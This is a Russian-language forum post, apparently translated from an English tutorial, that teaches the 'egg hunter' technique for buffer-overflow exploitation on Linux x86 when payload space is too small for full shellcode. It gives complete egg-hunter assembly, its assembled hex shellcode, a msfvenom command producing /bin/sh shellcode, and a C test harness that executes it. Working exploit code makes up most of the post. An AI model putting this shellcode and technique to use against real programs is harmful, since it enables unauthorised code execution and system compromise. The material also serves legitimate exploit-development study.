Ку, киберрекруты. Данная статья является переводом. Вот сслыка на оригинал:
Ссылка скрыта от гостей
.Статья о инъектировании шеллкода в бинарь, только с одной проблемкой - не хватка места в памяти. Надеюсь, всё будет понятно. Приятного чтения.
Рассмотрим сценарий, в котором по какой-то причине (возможно, ограниченное пространство памяти) весь наш шеллкод не может быть помещен в память. Чтобы упростить понимание сценария, мы можем рассмотреть пример простого переполнения буфера.
Код:
| <Payload>| <= only 40 bytes of space
| EIP |
...
| AAAA |
| AAAA |
| AAAA | <= Injection Point [Low Memory]
В приведенном выше случае мы можем записать только полезную нагрузку размером 40 байт. Даже самый маленький ReverseShell TCP будет иметь размер более 50 байт. Что теперь? Как насчет того, чтобы использовать пространство между инъекцией и EIP, которое мы заполнили ненужными значениями? Да, именно так! Это должно сработать.
Мы можем написать полезную нагрузку, которая будет искать в памяти наш шеллкод и затем передавать ему управление. Именно это и есть egg hunting.
EggHunter - это короткий фрагмент кода, который может безопасно искать в виртуальном адресном пространстве "яйцо" - короткую строку, обозначающую начало более крупной полезной грузки.
Мы поместим egg в начало нашего шеллкода, а небольшая нагрузка будет искать его и передавать управление шеллкоду.
В ДВУХ СЛОВАХ
Вот краткая версия( алгоритм действий, так называемая техкарта ) для людей с дефицитом времени:
- Находим egg(яйцо)
- Понимаем, где происходит нарушени памяти в вирутальном пространстве (VAS)
- Пишем код для EggHunter
- Генерим шеллкод с помощью msfvenom ( ну или сами пишем, как тру киберпанки-пывнеры )
- Используем обертку шеллкода в C для окончательного тестирования
Egg - это уникальный набор байтов в памяти, который отмечает начало нашего шеллкода. Мы будем использовать 8 байт яйца (дважды повторенные 4 байта) перед шеллкодом, а наш охотник будет пытаться найти два 4 байта этого яйца. Мы повторяем яйцо дважды перед шеллкодом, чтобы охотник случайно не наткнулся на себя и не определил ложное местоположение шеллкода. Мы составим egg с помощью приведенного ниже фрагмента кода:
Код:
00000000 90 nop
00000001 50 push eax
00000002 90 nop
00000003 50 push eax
00000004 90 nop
00000005 50 push eax
00000006 90 nop
00000007 50 push eax
В качестве необработанного буфера, egg становится dword 0x50905090, повторенным два раза подряд. Причина выбора яйца, состоящего из инструкций, заключается в том, что мы можем передать управление самому яйцу, которое будет дополнено шеллкодом.
Понимание нарушении памяти в вирутальном адресном пространстве (VAS)
Нам также необходимо найти способ предотвратить обращение нашего охотника к недопустимому/ограниченному адресу памяти внутри программы. Для проверки нарушения памяти мы будем использовать доступ к системному вызову. Если возвращаемое значение доступа системного вызова равно EFAULT (имя пути указывает за пределы доступного адресного пространства), то мы перейдем на следующую страницу в VAS и продолжим поиск яйца.
Когда системный вызов встречает недопустимый адрес памяти, большинство из них возвращает код ошибки EFAULT, указывающий на то, что указатель, предоставленный системному вызову, был недостоверным.
Доступ к системным вызовам
C:
#include <unistd.h>
int access(const char *pathname, int mode);
Пишим код EggHunter
Логика нашего охотника такова:
C:
if (access(mem_addr) == 0xf2){
Jump_to_next_page()
}
if (value_at_address(mem_addr) != egg){
jump_to_next_addr()
}
if (value_at_address(mem_addr + 0x4) != egg){
jump_to_next_addr()
}
jump_to_addr(mem_addr) //mem_addr points to our egg
Код для охотника выглядит так:
Код:
; Egg Hunter
; Author: Aditya Chaudhary
; Date: 20th Jan 2019
global _start
section .text
_start:
xor eax,eax ; eax = 0
mov edi, eax ; edi = 0
mov edi, dword 0x50905090 ; EGG
next_page:
or dx, 0xfff ; dx=4095 ; 0x1000 - 1 (4095) ; Page sizes in Linux x86 = 4096
next_address:
inc edx ; edx = 4096
pusha ; push all of the current general purposes registers onto the stack
lea ebx, [edx + 0x4] ; address to be validated for memory violation
mov al, 0x21 ; access systemcall
int 0x80
cmp al, 0xf2 ; compare return value, bad address = EFAULT (0xf2)
popa ; get all the registers back
jz next_page ; jump to next page if EFAULT occurs
cmp [edx], edi ; compare 1st egg
jnz next_address ; jump to next address if NOT egg
cmp [edx + 0x4], edi ; compare 2nd egg
jnz next_address ; jump to next address if NOT egg
jmp edx ; jump to the address where egg is located i.e. jump to our shellcode
Давайте соберем и соединим этот код для генерации кода одной строки в формате шестнадцатеричной строки.
Сборка и линковка egghunter
Код:
\x31\xc0\x89\xc7\xbf\x90\x50\x90\x50\x66\x81\xca\xff\x0f\x42\x60\x8d\x5a\x04\xb0\x21\xcd\x80\x3c\xf2\x61\x74\xed\x39\x3a\x75\xee\x39\x7a\x04\x75\xe9\xff\xe2
Генерация шеллкода с помощью msfvenom
Генерим шеллкод с помощью msfvenom:
Код:
msfvenom -p linux/x86/exec CMD=/bin/sh -f c --arch x86 --platform linux -b \x00
Используем обертку шеллкода на C для финального теста
Давайте протестируем нашего охотника за яйцами, написав простую программу на C, которая будет передавать управление нашему охотнику за яйцами. Я добавил gist для программы-обертки на C, вот ссылка на нее:
Ссылка скрыта от гостей
, код ниже:
C:
#include<stdio.h>
#include<string.h>
#define EGG "\x90\x50\x90\x50"
unsigned char egghunter[] = \
"\x31\xc0\x89\xc7\xbf"
EGG
"\x66\x81\xca\xff\x0f\x42\x60\x8d\x5a\x04\xb0\x21\xcd\x80\x3c\xf2\x61\x74\xed\x39\x3a\x75\xee\x39\x7a\x04\x75\xe9\xff\xe2";
unsigned char shellcode[] = \
EGG EGG
"<shell_code_here>";
main()
{
printf("Egghunter Length: %d\n", strlen(egghunter));
printf("Shellcode Length: %d\n", strlen(shellcode));
int (*ret)() = (int(*)())egghunter;
ret();
}
Добавьте нашего охотника за яйцами и шеллкод внутрь этой обертки:
Код:
#include<stdio.h>
#include<string.h>
#define EGG "\x90\x50\x90\x50"
unsigned char egghunter[] = \
"\x31\xc0\x89\xc7\xbf"
EGG
"\x66\x81\xca\xff\x0f\x42\x60\x8d\x5a\x04\xb0\x21\xcd\x80\x3c\xf2\x61\x74\xed\x39\x3a\x75\xee\x39\x7a\x04\x75\xe9\xff\xe2";
unsigned char shellcode[] = \
EGG EGG
"<shell_code_here>";
main()
{
printf("Egghunter Length: %d\n", strlen(egghunter));
printf("Shellcode Length: %d\n", strlen(shellcode));
int (*ret)() = (int(*)())egghunter;
ret();
}
Давайте посмотрим, что произойдет, когда мы запустим эту программу на языке C:
Компилим и запускаем прогу
Отлично! Наш Охотник за яйцами, похоже, работает как надо
Чтобы лучше понять концепцию охоты за яйцами, пожалуйста, просмотрите нижеприведенный документ. Это очень помогло мне понять концепцию:
Ссылка скрыта от гостей
Последнее редактирование модератором: